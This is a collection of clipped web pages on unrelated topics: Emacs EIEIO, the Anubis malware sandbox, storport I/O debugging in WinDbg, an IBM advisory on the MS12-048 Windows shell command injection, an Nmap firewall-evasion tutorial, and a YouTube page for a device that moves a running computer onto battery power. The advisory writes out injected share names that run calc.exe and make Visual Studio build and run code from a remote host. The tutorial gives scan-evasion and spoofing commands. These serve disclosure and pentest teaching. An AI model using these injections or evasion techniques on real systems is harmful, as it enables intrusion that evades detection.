**Tags:**| _bookmark plugin Emacs_  
  

EIEIO is an **Emacs lisp** program which implements a controlled object-
oriented programming methodology following the **CLOS** standard. EIEIO also
has object browsing functions, and custom widget types. It has a fairly
complete manual describing how to use it.

EIEIO also supports the byte compiler for Emacs and XEmacs. Because of the
nature of byte compiling, EIEIO is picky about the version of Emacs you are
running. It supports Emacs 19.2x+, 20, 21, 22, and CVS, XEmacs 19.1x, 20.x and
21.x. Byte compiling EIEIO is VERY IMPORTANT for performance.

<img src='img/Temp2_2520.jpg' width='100' height='100' alt='call-tree.jpg' />  
Sample EIEIO driven tree  
<img src='img/Temp2_2521.jpg' width='100' height='100' alt='chart.jpg' />  
Sample EIEIO driven chart  
---  
This version has additional demo programs which are:

linemark

    Maintain colored marks on lines in multiple buffers.  
Visual C++ bookmark UI as example code.  
Hilight Compilation hits as example code.

tree

    display trees in emacs buffers. 
call-tree

    display a call tree to an emacs lisp function 
chart

    display bar charts in emacs buffers. Includes several useful examples 

# Anubis: Analyzing Unknown Binaries

**Created:**| _11/10/2010 8:07:26 AM_  
---|---  
**Updated:**| _11/10/2010 8:07:37 AM_  
**Author:**| __  
**Tags:**| _security tools web Malware-analysis_  
  

# Welcome to Anubis

Anubis is a service for analyzing malware.

Submit your **Windows executable** and receive an analysis report telling you
what it does. Alternatively, submit a **suspicious URL** and receive a report
that shows you all the activities of the Internet Explorer process when
visiting this URL.

# What Did Storport Do With My I/O? - Ntdebugging Blog - Site Home - MSDN
Blogs

**Created:**| _6/26/2012 9:29:38 AM_  
---|---  
**Updated:**| _6/26/2012 9:29:38 AM_  
**Author:**| __  
**Tags:**| _Debugging windbg performance io_  
  

### What Did Storport Do With My I/O?

Rate This  
<img src='img/Temp2_9424.png' /><img src='img/Temp2_9425.png' /><img
src='img/Temp2_9424.png' /><img src='img/Temp2_9425.png' /><img
src='img/Temp2_9424.png' /><img src='img/Temp2_9425.png' /><img
src='img/Temp2_9424.png' /><img src='img/Temp2_9425.png' /><img
src='img/Temp2_9424.png' /><img src='img/Temp2_9425.png' />

ntdebug

21 Jun 2012 10:42 AM

  * 0

In a previous article I showed how to track an I/O request from the
filesystem, through the class driver, and to the storage driver. In that
article I concluded with "From this data we can usually assume that the
request has been sent to the disk drive and we are waiting for the disk to
respond" and "There may be conditions where the request is stuck in storport,
or in the miniport". In this article I want to show what happens to the I/O
request when gets to storport.sys.

You will find that the structures needed to investigate a request inside of
storport can be dumped with the dt command using publicly available
storport.sys symbols. However, until now those structures have not been useful
to most debuggers because we have not described how an IRP goes through
storport, or how to find an IRP once it has been sent to storport.

In the previous article I showed how to find the IRP that was sent to the
storport miniport driver. Below is the example IRP we will be using today.

48: kd> \!irp fffffa81\`4135a010

Irp is active with 5 stacks 3 is current \(= 0xfffffa814135a170\)

Mdl=fffffa8232ad1100: No System Buffer: Thread 00000000: Irpstack trace.

cmd flg cl Device File Completion-Context

\[ 0, 0\] 0 0 00000000 00000000 00000000-00000000

Args: 00000000 00000000 00000000 00000000

\[ 0, 0\] 0 0 00000000 00000000 00000000-00000000

Args: 00000000 00000000 00000000 00000000

>\[ f, 0\] 0 e1 fffffa813ba0c060 00000000 fffff880011651a0-fffffa8141609cb0
Success Error Cancel pending

\Driver\stormini mpio\!MPIOPdoCompletion

Args: fffffa8231a15c10 00000000 00000000 fffffa813ba0c1b0

\[ f, 0\] 0 e1 fffffa80c329f400 00000000 fffff88001487f8c-fffffa81414bc9c0
Success Error Cancel pending

\Driver\mpio EmcpBase\!PowerPlatformIoEnqueue

Args: fffffa8231a15c10 00000000 00000000 fffffa8141609cb0

\[ f, 0\] 0 e1 fffffa80c34ab550 00000000 fffff88001dbaa00-fffffa8231a15af0
Success Error Cancel pending

\Driver\EmcpBase CLASSPNP\!TransferPktComplete

Args: fffffa8231a15c10 00000000 00000000 00000000

Although the device object in the IRP is named \Driver\stormini, the dispatch
routines for the driver all point to storport. Storport is the port driver
that handles queuing the request, stormini is the miniport.

48: kd> \!drvobj \Driver\stormini 2

Driver object \(fffffa80c19d5bf0\) is for:

\Driver\stormini

DriverEntry: fffff88001729008 stormini\!StateHandler

DriverStartIo: 00000000

DriverUnload: fffff8800168f28c stormini

AddDevice: fffff88001416dc0 storport\!DriverAddDevice

Dispatch routines:

\[00\] IRP\_MJ\_CREATE fffff880014582a0 storport\!RaDriverCreateIrp

\[01\] IRP\_MJ\_CREATE\_NAMED\_PIPE fffff80001a721d4
nt\!IopInvalidDeviceRequest

\[02\] IRP\_MJ\_CLOSE fffff880014581c0 storport\!RaDriverCloseIrp

\[03\] IRP\_MJ\_READ fffff80001a721d4 nt\!IopInvalidDeviceRequest

\[04\] IRP\_MJ\_WRITE fffff80001a721d4 nt\!IopInvalidDeviceRequest

\[05\] IRP\_MJ\_QUERY\_INFORMATION fffff80001a721d4
nt\!IopInvalidDeviceRequest

\[06\] IRP\_MJ\_SET\_INFORMATION fffff80001a721d4 nt\!IopInvalidDeviceRequest

\[07\] IRP\_MJ\_QUERY\_EA fffff80001a721d4 nt\!IopInvalidDeviceRequest

\[08\] IRP\_MJ\_SET\_EA fffff80001a721d4 nt\!IopInvalidDeviceRequest

\[09\] IRP\_MJ\_FLUSH\_BUFFERS fffff80001a721d4 nt\!IopInvalidDeviceRequest

\[0a\] IRP\_MJ\_QUERY\_VOLUME\_INFORMATION fffff80001a721d4
nt\!IopInvalidDeviceRequest

\[0b\] IRP\_MJ\_SET\_VOLUME\_INFORMATION fffff80001a721d4
nt\!IopInvalidDeviceRequest

\[0c\] IRP\_MJ\_DIRECTORY\_CONTROL fffff80001a721d4
nt\!IopInvalidDeviceRequest

\[0d\] IRP\_MJ\_FILE\_SYSTEM\_CONTROL fffff80001a721d4
nt\!IopInvalidDeviceRequest

\[0e\] IRP\_MJ\_DEVICE\_CONTROL fffff88001453010
storport\!RaDriverDeviceControlIrp

\[0f\] IRP\_MJ\_INTERNAL\_DEVICE\_CONTROL fffff880014016c0
storport\!RaDriverScsiIrp

\[10\] IRP\_MJ\_SHUTDOWN fffff80001a721d4 nt\!IopInvalidDeviceRequest

\[11\] IRP\_MJ\_LOCK\_CONTROL fffff80001a721d4 nt\!IopInvalidDeviceRequest

\[12\] IRP\_MJ\_CLEANUP fffff80001a721d4 nt\!IopInvalidDeviceRequest

\[13\] IRP\_MJ\_CREATE\_MAILSLOT fffff80001a721d4 nt\!IopInvalidDeviceRequest

\[14\] IRP\_MJ\_QUERY\_SECURITY fffff80001a721d4 nt\!IopInvalidDeviceRequest

\[15\] IRP\_MJ\_SET\_SECURITY fffff80001a721d4 nt\!IopInvalidDeviceRequest

\[16\] IRP\_MJ\_POWER fffff8800141a9d0 storport\!RaDriverPowerIrp

\[17\] IRP\_MJ\_SYSTEM\_CONTROL fffff88001458f40
storport\!RaDriverSystemControlIrp

\[18\] IRP\_MJ\_DEVICE\_CHANGE fffff80001a721d4 nt\!IopInvalidDeviceRequest

\[19\] IRP\_MJ\_QUERY\_QUOTA fffff80001a721d4 nt\!IopInvalidDeviceRequest

\[1a\] IRP\_MJ\_SET\_QUOTA fffff80001a721d4 nt\!IopInvalidDeviceRequest

\[1b\] IRP\_MJ\_PNP fffff88001459b00 storport\!RaDriverPnpIrp

To find what storport has done with the IRP we must look at the unit. The
device extension contains the information regarding the state of the unit.

48: kd> \!devobj fffffa813ba0c060

Device object \(fffffa813ba0c060\) is for:

000000aa \Driver\stormini DriverObject fffffa80c19d5bf0

Current Irp 00000000 RefCount 0 Type 00000007 Flags 00001050

Dacl fffff9a10049abb0 DevExt fffffa813ba0c1b0 DevObjExt fffffa813ba0c630
DevNode fffffa80c19dad90

ExtensionFlags \(0x00000800\)

Unknown flags 0x00000800

AttachedDevice \(Upper\) fffffa80c31ef9d0 \Driver\Disk

Device queue is not busy.

48: kd> dt storport\!\_RAID\_UNIT\_EXTENSION fffffa813ba0c1b0

+0x000 ObjectType : 1 \( RaidUnitObject \)

+0x008 DeviceObject : 0xfffffa81\`3ba0c060 \_DEVICE\_OBJECT

+0x010 Adapter : 0xfffffa80\`c25a61b0 \_RAID\_ADAPTER\_EXTENSION

+0x018 SlowLock : 0

+0x020 DeviceState : 1 \( DeviceStateWorking \)

+0x028 NextUnit : \_LIST\_ENTRY \[ 0xfffffa80\`c25941d8 - 0xfffffa80\`c25a6228
\]

+0x038 UnitTableLink : \_LIST\_ENTRY \[ 0xfffffa80\`c25a3320 -
0xfffffa80\`c25e7b48 \]

+0x048 Address : \_STOR\_SCSI\_ADDRESS

+0x050 Identity : \_STOR\_SCSI\_IDENTITY

+0x070 AlignmentInfo : \_STOR\_ALIGNMENT\_INFO

+0x080 Flags : <unnamed-tag>

+0x088 ZeroOutstandingEvent : \_KEVENT

+0x0a0 OutstandingCount : 0n30

+0x0a4 PagingPathCount : 0

+0x0a8 CrashDumpPathCount : 0

+0x0ac HiberPathCount : 0

+0x0b0 TagList : \_QUEUE\_TAG\_LIST

+0x0d0 IoQueue : \_IO\_QUEUE

+0x140 MaxQueueDepth : 0xff

+0x144 Power : \_RAID\_POWER\_STATE

+0x150 PendingQueue : \_STOR\_EVENT\_QUEUE

+0x170 PendingTimer : \_KTIMER

+0x1b0 PendingDpc : \_KDPC

+0x1f0 PauseTimer : \_KTIMER

+0x230 PauseTimerDpc : \_KDPC

+0x270 RestartDpc : \_KDPC

+0x2b0 CommonBufferVAs : \(null\)

+0x2b8 CommonBufferSize : 0

+0x2bc CommonBufferBlocks : 0

+0x2c0 UnitExtension : 0xfffffa80\`c185dda0 Void

+0x2c8 DefaultTimeout : 0xa

+0x2d0 DeferredList : <unnamed-tag>

+0x410 ResetCount : 0n1

+0x418 ResetResources : \_RAID\_IO\_RESOURCES

+0x438 ResetResourcesAcquired : 0n1

+0x43c SenseInfoSize : 0x14 ''

+0x440 IdleCounter : \(null\)

+0x448 PowerUpRequired : 0n0

+0x450 HierarchicalResetWorkItem : \(null\)

+0x458 HierarchicalResetWorkItemTimeoutCountdown : 0n0

+0x45c HierarchicalResetAbortCount : 1

+0x460 HierarchicalResetWorkItemSpinLock : 0

+0x468 RegistryParameters : \_RAID\_UNIT\_REGISTRY\_PARAMETERS

Two parts of the device extension are relevant to finding the I/O request, the
PendingQueue and the IoQueue. Under most conditions, when a request is sent to
storport it will be sent to the miniport driver and put on the PendingQueue.
The PendingQueue has a list of outstanding requests and a timer that is
decremented every second. The timer is refreshed when the request on the head
of the queue is completed. A request is completed when the miniport calls
StorPortNotification with RequestComplete. If the timer is decremented to 0,
the request has timed out and storport will do a hierarchical reset to attempt
to correct the problem.

In the below PendingQueue we can see that there is one entry in the queue, and
the Timeout is set to -2. Under most conditions the Timeout will be a value
between 0 and 0x3c \(0n60\), indicating the number of seconds left in the
timer. A Timeout value of -2 indicates that there was a timeout and it is
being handled. A Timeout value of -1 indicates that the queue is empty.

48: kd> dt storport\!\_RAID\_UNIT\_EXTENSION fffffa813ba0c1b0 PendingQueue.

+0x150 PendingQueue :

+0x000 List : \_LIST\_ENTRY \[ 0xfffff880\`05906040 \- 0xfffff880\`05906040\]

+0x010 Lock : 0

+0x018 Timeout : 0xfffffffe

Items in the queue will be in the form of an XRB, or Extended Request Block.
There is one request in the pending queue \(we know there is one request
because the Flink and Blink point to the same address\). The Irp for this XRB
is not our IRP, so we need to go look somewhere else for our request.

48: kd> dt storport\!\_EXTENDED\_REQUEST\_BLOCK 0xfffff880\`05906040-30

+0x000 Signature : 0x1f2e3d4c

+0x008 Pool : \(null\)

+0x010 OwnedMdl : 0y0

+0x010 RemoveFromEventQueue : 0y1

+0x010 State : 0y011

+0x010 RemappedSenseInfo : 0y1

+0x012 InitiatingProcessor : \_PROCESSOR\_NUMBER

+0x018 InitiatingToken : \(null\)

+0x020 CompletedLink : \_SLIST\_ENTRY

+0x030 PendingLink : \_STOR\_EVENT\_QUEUE\_ENTRY

+0x048 Mdl : \(null\)

+0x050 SgList : \(null\)

+0x058 RemappedSgListMdl : \(null\)

+0x060 RemappedSgList : \(null\)

+0x068 Irp : 0xfffffa82\`35142ee0 \_IRP

+0x070 Srb : 0xfffffa81\`41cf54a0 \_SCSI\_REQUEST\_BLOCK

+0x078 SrbData : <unnamed-tag>

+0x098 Adapter : 0xfffffa80\`c25a61b0 \_RAID\_ADAPTER\_EXTENSION

+0x0a0 Unit : 0xfffffa81\`3ba0c1b0 \_RAID\_UNIT\_EXTENSION

+0x0a8 ScatterGatherBuffer : \[424\] ""

+0x250 CompletionRoutine : 0xfffff880\`014199d0 void
storport\!RaidUnitCompleteResetRequest+0

+0x258 u : <unnamed-tag>

+0x270 RequestStartTimeStamp : 0

If the unit is in a state where the request cannot be sent to the miniport,
the requests will be queued on the DeviceQueue in the IoQueue. Storport may
not be able to send the request to the miniport because the queue is full, the
queue is paused, or because an untagged request is outstanding and tagged
requests cannot be sent until the untagged request is completed.

In the below DeviceQueue we can see that the unit is paused \(the PauseCount
is 1\). This would explain why our request is not in the PendingQueue. It
should be in the DeviceQueue.

48: kd> dt storport\!\_RAID\_UNIT\_EXTENSION fffffa813ba0c1b0
IoQueue.DeviceQueue.

+0x0d0 IoQueue :

+0x010 DeviceQueue :

+0x000 Type : 0n258

+0x002 Size : 0n88

+0x008 Gateway : 0xfffffa80\`c25a6470\_STOR\_IO\_GATEWAY

+0x010 DeviceList : \_LIST\_ENTRY \[ 0xfffffa81\`4232d3a8 \-
0xfffffa81\`4172c768 \]

+0x020 ByPassList : \_LIST\_ENTRY \[ 0xfffffa81\`3ba0c2b0 -
0xfffffa81\`3ba0c2b0 \]

+0x030 Lock : 0

+0x038 Depth : 0n32

+0x03c OutstandingCount : 0n0

+0x040 DeviceCount : 0n27

+0x044 ByPassCount : 0n0

+0x048 ByPassPowerCount : 0n0

+0x04c PauseCount : 0n1

+0x050 BusyCount : 0n0

+0x054 Frozen : 0 ''

+0x055 Locked : 0 ''

+0x056 Untagged : 0 ''

+0x057 PowerLocked : 0 ''

Requests from the DeviceQueue are in the DeviceList. We can dump the
DeviceList with \!list and look for our IRP.

48: kd> \!list "-t
nt\!\_IRP.Tail.Overlay.DeviceQueueEntry.DeviceListEntry.Flink -x\"??@$extret\"
0xfffffa814232d3a8-78"

unsigned int64 0xfffffa81\`4232d330

unsigned int64 0xfffffa81\`bea59630

unsigned int64 0xfffffa81\`41dad420

unsigned int64 0xfffffa82\`32e90770

unsigned int64 0xfffffa81\`4135a010

<snip the end of the list>

Now that we have found our request in the DeviceQueue's DeviceList we may want
to look into why the request has not been sent to the disk and put on the
PendingQueue. Earlier I mentioned that the Timeout value in the PendingQueue
is -2, indicating that a request in the PendingQueue has timed out. If we take
another look at the XRB from the PendingQueue, we see that the
CompletionRoutine is RaidUnitCompleteResetRequest. This indicates that a LUN
reset request was sent to the disk, and it timed out. When a LUN reset times
out storport calls the miniport’s bus reset function. When the bus reset
function is called the miniport is required to complete all requests issued to
it. In this instance the reset was issued, but for some reason the reset has
not yet completed and so all of the outstanding requests are stuck. For more
information on storport timeouts, see our article on Event 129 Errors.

# IBM Application Security Insider: Microsoft Windows Shell Command Injection
- MS12-048 \(CVE-2012-0175\)

**Created:**| _7/17/2012 3:41:29 PM_  
---|---  
**Updated:**| _7/17/2012 3:41:29 PM_  
**Author:**| __  
**Tags:**| _windows environment file-handler_  
  

### Microsoft Windows Shell Command Injection - MS12-048 \(CVE-2012-0175\)

CVE-2012-0175

### Background

Windows File Association allows an application to define a handler that should
be called for each operation on a specific file type.

For example, WinRAR registers the file type .RAR in the following manner:

<img src='img/Temp2_4162.png' width='654' height='304' alt='image' />

The Open action defined for this file type dictates how the handler should be
called upon opening the file.

The command that will be executed for this example of WinRAR is:

"C:\Program Files\WinRAR\WinRAR.exe" "%1"

\(Where the %1 is replaced with the filename that the client clicked on\)

Theoretically if an attacker was able to create a file called

Stu"ff.rar

He will be able to break the command string.

Of course creating such a file under Windows seems to be impossible

<img src='img/Temp2_4160.png' width='320' height='55' alt='clip_image004' />

Linux operating systems unlike Windows, do not limit the use of these special
characters as part of a file's name.

Meaning an attacker can create a file called stu"ff.rar

<img src='img/Temp2_4159.png' width='450' height='182' alt='clip_image006' />

In order to actually test this theory, the Windows operating system must have
some sort of access to the file currently placed on another machine.

<img src='img/Temp2_4158.png' width='647' height='248' alt='image' />

Most applications will fail horribly when trying to copy this file over to the
Windows machine and the few that won't, just replace the quotes \( " \) with
an underscore \( \_ \).

The next possibility to access this file, is through NetBIOS shares, so I've
installed a SAMBA server on my Linux machine, created some default shares and
copied my malicious looking file in there.

<img src='img/Temp2_4155.png' width='663' height='517' alt='image' />

Figure 1 - Linux view of the file

<img src='img/Temp2_4150.png' width='663' height='518' alt='image' />

Figure 2 - Windows view of the file

Apparently Windows changes the display name for these files.

It does the same with folder names.

**_  
_**

#### Vulnerability:

The one place missing this protection is the Share Name itself.

By editing the SAMBA configuration in the following way it is possible to
create shares that include the forbidden special characters in their name.

<img src='img/Temp2_4152.png' width='436' height='372' alt='clip_image014' />

Figure 3 - Editing the SAMBA configurations

<img src='img/Temp2_4145.png' width='586' height='501' alt='image' />

Figure 4 - Viewing the shares under Windows

When executing a RAR file from the regular share2 folder, all works well.

However when double-clicking a RAR in the second share

<img src='img/Temp2_4151.png' width='594' height='514' alt='image' />

WinRAR cannot seem to find the requested file

<img src='img/Temp2_4146.png' width='217' height='176' alt='clip_image020' />

Viewing the created WinRAR.exe process in Process Explorer reveals the
injection has worked.

<img src='img/Temp2_4165.png' width='509' height='572' alt='image' />

**__**

**__**

**__**

#### Example attack scenario \#1:

The following attack scenario will allow the attacker to create a malicious
Share that targets the "CMD Prompt Here" behavior.

<img src='img/Temp2_4153.png' width='692' height='431' alt='image' />

<img src='img/Temp2_4164.png' width='697' height='229' alt='image' />

The way that "CMD Prompt Here" works is by launching the following command

"cmd.exe" /k cd %1

<img src='img/Temp2_4149.png' width='510' height='603' alt='image' />

An attacker is able to create a new share named:

xxxxx & start calc.exe &

When a victim uses the "CMD Prompt Here" context menu against any folder under
the share root, the executed command will be:

"cmd.exe" /k cd \\\10.0.0.1\xxxxx & start calc.exe &\AnyOtherFolder

When CMD will start it will also execute calc.exe

<img src='img/Temp2_4163.png' width='535' height='396' alt='image' />

<img src='img/Temp2_4157.png' width='630' height='518' alt='image' />

**_  
_**

#### Example attack scenario \#2:

The following attack scenario will allow the attacker to create a link to a
visual studio solution \(.SLN\) file that once opened will automatically
**compile and execute itself**.

By creating three SMB shares named:

1\. Test Injection "/RunExit \\\9.148.197.235\share2

2\. Test Injection "

3\. share2

<img src='img/Temp2_4147.png' width='628' height='519' alt='image' />

And the following folder tree under the mapped folder \(/home/share2 in the
case of this example\)

<img src='img/Temp2_4161.png' width='475' height='338' alt='clip_image036' />

Notice that the content of the ArgumentInjection folder is not shown.

It contains all the visual studio solution files and should not be changed.

The result of these configurations should look as such:

<img src='img/Temp2_4154.png' width='458' height='394' alt='clip_image038' />

By entering the first \(long\) folder and opening the SLN file with the
devenv.exe handler, the following command should be executed:

<img src='img/Temp2_4156.png' width='471' height='405' alt='clip_image040' />

<img src='img/Temp2_4148.png' width='660' height='321' alt='image' />

The devenv.exe handler receives four parameters:

  1. The first part of the path - "\\\9.148.197.235\Test Injection "
  2. The injected parameter - /RunExit 
  3. The injected path to be used - \\\9.148.197.235\share2\ArgumentInjection.sln 
  4. The remaining part of the original path - .sln"

The first and last parameters are being ignored while the two middle
parameters causes visual studio to compile and execute the desired solution.

#### Impact:

By using this technique, an attacker is able to inject custom arguments into
every application that registered a file-type handler using the described
method.

#### Remediation:

Microsoft has issued the following patch to address this issue

MS12-048 - http://technet.microsoft.com/en-us/security/bulletin/ms12-048

**Discovered by** \- Adi Cohen, IBM Application Security Research

# Nmap – Techniques for Avoiding Firewalls « Penetration Testing Lab

**Created:**| _4/7/2012 11:29:26 AM_  
---|---  
**Updated:**| _4/7/2012 11:29:26 AM_  
**Author:**| __  
**Tags:**| _network-security port_  
  

# Nmap – Techniques for Avoiding Firewalls

02 Apr

As a penetration tester you will come across with systems that are behind
firewalls and they are blocking you from getting the information that you
want.So you will need to know how to avoid the firewall rules that are in
place and to discover information about a host.This step in a penetration
testing called Firewall Evasion Rules.

Nmap is offering a lot of options about Firewall evasion so in this article we
will explore these options.

**Fragment Packets**

This technique was very effective especially in the old days however you can
still use it if you found a firewall that is not properly configured.The Nmap
offers that ability to fragment the packets while scanning with the **-f**
option so it can bypass the packet inspection of firewalls.

<img src='img/Temp2_5604.png' />

Fragment Packets - Nmap

In the next image we can see that Nmap is sending packets 8-bytes size when we
are doing a scan with the **-f** option.

<img src='img/Temp2_5599.png' />

Capture a fragment packet

#####

**Specify a specific MTU**

Nmap is giving the option to the user to set a specific MTU \(Maximum
Transmission Unit\) to the packet.This is similar to the packet fragmentation
technique that we have explained above.During the scan that size of the nmap
will create packets with size based on the number that we will give.In this
example we gave the number 24 so the nmap will create 24-byte packets causing
a confusion to the firewall.Have in mind that the MTU number must be a
multiple of 8 \(8,16,24,32 etc\). You can specify the MTU of your choice with
the command **–mtu number target.**

<img src='img/Temp2_5603.png' />

Specify a specific MTU to the packets

**Use Decoy addresses**

In this type of scan you can instruct Nmap to spoof packets from other
hosts.In the firewall logs it will be not only our IP address but also and the
IP addresses of the decoys so it will be much harder to determine from which
system the scan started.There are two options that you can use in this type of
scan:

  1. **nmap -D RND:10 \[target\]** \(Generates a random number of decoys\)
  2. **nmap -D decoy1,decoy2,decoy3** etc. \(Manually specify the IP addresses of the decoys\)

<img src='img/Temp2_5610.png' />

Scanning with decoy addresses

In the next image we can see that in the firewall log files exist 3 different
IP address.One is our real IP and the others are the decoys.

<img src='img/Temp2_5608.png' />

Log Files flooded with decoy addresses

You need to have in mind that the host that you will use as decoys must be
online in order this technique to work.Also using many decoys can cause
network congestion so you may want to avoid that especially if you are
scanning the network of your client.

**Idle Zombie Scan**

This technique allows you to use another host on the network that is idle in
order to perform a port scan to another host.The main advantage of this method
is that it very stealthy because the firewall log files will record the IP
address of the Zombie and not our IP.However in order to have proper results
we must found hosts that are idle on the network.

Metasploit framework has a scanner that can help us to discover hosts that are
idle on the network and it can be used while implementing this type of scan.

<img src='img/Temp2_5596.png' />

Discover Zombies

As we can see from the above image the scanner has discovered that the IP
addresses 192.168.1.67 and 192.168.1.69 are idle on the network and are
potential candidates for use on an Idle Zombie Scan.In order to implement an
Idle Zombie scan we need to use the command **nmap -sI \[Zombie IP\] \[Target
IP\]**

<img src='img/Temp2_5597.png' />

Executing an Idle Scan

We can see the effectiveness of this scan just by checking the firewall
logs.As we can see the log files record the IP address of the Zombie host
\(SRC=192.168.1.69\) and not our IP address so our scan was stealthy.

<img src='img/Temp2_5611.png' />

Firewall Log Files - Idle Scan

#####

**Source port number specification**

A common error that many administrators are doing when configuring firewalls
is to set up a rule to allow all incoming traffic that comes from a specific
port number.The **–source-port** option of Nmap can be used to exploit this
misconfiguration.Common ports that you can use for this type of scan are:
20,53 and 67.

<img src='img/Temp2_5606.png' />

Source port scan

#####

**Append Random Data**

Many firewalls are inspecting packets by looking at their size in order to
identify a potential port scan.This is because many scanners are sending
packets that have specific size.In order to avoid that kind of detection you
can use the command **–data-length** to add additional data and to send
packets with different size than the default.In the image below we have
changed the packet size by adding 25 more bytes.

<img src='img/Temp2_5605.png' />

Adding random data to avoid detection

The size of a typical packet that nmap sends to the target is 58 bytes as you
can see in the image below.

<img src='img/Temp2_5600.png' />

Typical packet from nmap scan

With the command that we have used **–data-length 25** we changed that value
to 83 in order to avoid being discovered by firewalls that will check for the
default packet size that nmap generates.

<img src='img/Temp2_5598.png' />

A sample of a packet that we have add 25 more bytes to avoid detection

**Scan with Random Order**

In this technique you can scan a number of hosts in random order and not
sequential.The command that you use to instruct Nmap to scan for host in
random order is **–randomize-hosts**.This technique combined with slow timing
options in nmap command can be very effective when you don’t want to alert
firewalls.

<img src='img/Temp2_5607.png' />

Scan hosts in random order

#####

**MAC Address Spoofing**

Another method for bypassing firewall restrictions while doing a port scan is
by spoofing the MAC address of your host.This technique can be very effective
especially if there is a MAC filtering rule to allow only traffic from certain
MAC addresses so you will need to discover which MAC address you need to set
in order to obtain results.

Specifically the**–spoof-mac** option gives you the ability to choose a MAC
address from a specific vendor,to choose a random MAC address or to set a
specific MAC address of your choice.Another advantage of MAC address spoofing
is that you make your scan more stealthier because your real MAC address it
will not appear on the firewall log files.

Specify MAC address from a Vendor —-> **–spoof-mac** Dell/Apple/3Com

Generate a random MAC address —-> –**spoof-mac** 0

Specify your own MAC address —-> –**spoof-mac** 00:01:02:25:56:AE

<img src='img/Temp2_5602.png' />

MAC address Spoofing

#####

**Send Bad Checksums**

Checksums are used by the TCP/IP protocol to ensure the data integrity.However
sending packets with incorrect checksums can help you to discover information
from systems that is not properly configured or when you are trying to avoid a
firewall.

You can use the command **nmap –badsum IP** in order to send packets with bad
checksums to your targets.In the image below we didn’t get any results.This
means that the system is suitable configured.

<img src='img/Temp2_5601.png' />

Sending packets with bad checksum

You can see below a sample of a packet with bad checksum that we have sent:

<img src='img/Temp2_5609.png' />

A packet with bad checksum

**Conclusion**

We have seen that Nmap offers a variety of methods that it can be used to
avoid a firewall that exists on the network that we are scanning and to get
proper results from the target host.The problem in many of the cases that we
have seen is the bad configuration of Firewalls that allowed us to get results
from the target.So in a network that have IDS and firewalls properly
configured many of the techniques may not work.Every situation is different so
you need to decide which one will work for you.

# YouTube - HotPlug Basic Demonstration

**Created:**| _2/2/2010 10:10:02 AM_  
---|---  
**Updated:**| _2/2/2010 10:10:12 AM_  
**Author:**| __  
**Tags:**| _Forensics_  
  

Suchen **Konto erstellen** oder anmelden Quicklist \(0\) Abonnements Protokoll
Video hochladen Startseite Videos Kanäle

Dieses Video in einem neuen Fenster ansehen

<img src='img/Temp2_9990.gif' />

# HotPlug Basic Demonstration

<img src='img/Temp2_9991.gif' alt='Kanalsymbol' />

Abonnieren

Abo kündigen

WiebeTech  
22\. Oktober 2007  

\(Weitere Infos\)

\(Weniger Infos\)

**Du möchtest ein Abo einrichten?**  
Jetzt anmelden oder ein neues Konto erstellen\!

A demonstration of HotPlug by WiebeTech. HotPlug allows you to transfer a
running computer to battery power, so you can move it somewhere else without
turning it off. The two methods demonstrated h...

A demonstration of HotPlug by WiebeTech. HotPlug allows you to transfer a
running computer to battery power, so you can move it somewhere else without
turning it off. The two methods demonstrated here are easy, and work on most
situations in the US. See also the advanced demo.  
  
http://www.wiebetech.com/products/Hot...

Kategorie:  Tipps & Tricks  

Tags:

HotPlug WiebeTech move or transport a computer without shutting it down power
battery new technology

URL

Einbetten

Anpassen <img src='img/Temp2_9990.gif' />

Wird geladen...

## Mehr von: WiebeTech

Wird geladen...

Wiedergabe Automatische Wiedergabe beenden | Nächstes Video Nächstes Video
## Quicklist\(0\)

1

<img src='img/Temp2_9990.gif' />

<img src='img/Temp2_9990.gif' />

Löschen | Speichern
## Ähnliche Videos

<img src='img/Temp2_9990.gif' alt='ToughTech' />Zur Quicklist  
hinzugefügt0:31ToughTech6.284 Aufrufe WiebeTech

<img src='img/Temp2_9990.gif' alt='XY7.COM No Bull Bikini Contest' />Zur
Quicklist  
hinzugefügt1:22XY7.COM No Bull Bikini Contest544.873 Aufrufe xy7kevin

<img src='img/Temp2_9990.gif' alt='Wiebetech demo' />Zur Quicklist  
hinzugefügt5:02Wiebetech demo427 Aufrufe EyeOnTechnology

<img src='img/Temp2_9990.gif' alt='Lest We Remember: Cold Boot Attacks on
Encryption Keys' />Zur Quicklist  
hinzugefügt5:22Lest We Remember: Cold Boot Attacks on Encrypti...542.902
Aufrufe pucitp

<img src='img/Temp2_9990.gif' alt='Episode 4. Basic Battery Info and Tips'
/>Zur Quicklist  
hinzugefügt3:13Episode 4. Basic Battery Info and Tips1.933 Aufrufe
shirtlessapprentice

<img src='img/Temp2_9990.gif' alt='Eden commercial - Centraal Beheer Achmea'
/>Zur Quicklist  
hinzugefügt1:06Eden commercial - Centraal Beheer Achmea146.085 Aufrufe
rhino2010

<img src='img/Temp2_9990.gif' alt='BANNED Adam and Eve, the gay version' />Zur
Quicklist  
hinzugefügt1:06BANNED Adam and Eve, the gay version8.392.732 Aufrufe
fromthepants

<img src='img/Temp2_9990.gif' alt='Thermaltake SPEDO Full-Tower ATX Case'
/>Zur Quicklist  
hinzugefügt14:45Thermaltake SPEDO Full-Tower ATX Case59.434 Aufrufe
TigerDirectBlog

<img src='img/Temp2_9990.gif' alt='Python Programming Tutorial - 4 - Modules
and Functions' />Zur Quicklist  
hinzugefügt7:08Python Programming Tutorial - 4 - Modules and F...23.746
Aufrufe thenewboston

<img src='img/Temp2_9990.gif' alt='Petula Clark - Downtown' />Zur Quicklist  
hinzugefügt3:02Petula Clark - Downtown600.445 Aufrufe nyrainbow2

<img src='img/Temp2_9990.gif' alt='Nido del Cuculo - Rambo e il cellulare'
/>Zur Quicklist  
hinzugefügt1:39Nido del Cuculo - Rambo e il cellulare937.382 Aufrufe
filipporant

<img src='img/Temp2_9990.gif' alt='Automatic Bollards' />Zur Quicklist  
hinzugefügt1:45Automatic Bollards5.815 Aufrufe MisterMoT

<img src='img/Temp2_9990.gif' alt='Twouble with Twitters: SuperNews!' />Zur
Quicklist  
hinzugefügt4:28Twouble with Twitters: SuperNews\!2.096.601 Aufrufe Current

<img src='img/Temp2_9990.gif' alt='Use Metasploit To Hack a Pc Simple' />Zur
Quicklist  
hinzugefügt1:54Use Metasploit To Hack a Pc Simple32.074 Aufrufe angeloke94

<img src='img/Temp2_9990.gif' alt='Lily Allen - "Smile" Video' />Zur Quicklist  
hinzugefügt3:19Lily Allen - "Smile" Video10.875.844 Aufrufe CapitolRecords

<img src='img/Temp2_9990.gif' alt='UMBERTO TOZZI TI AMO' />Zur Quicklist  
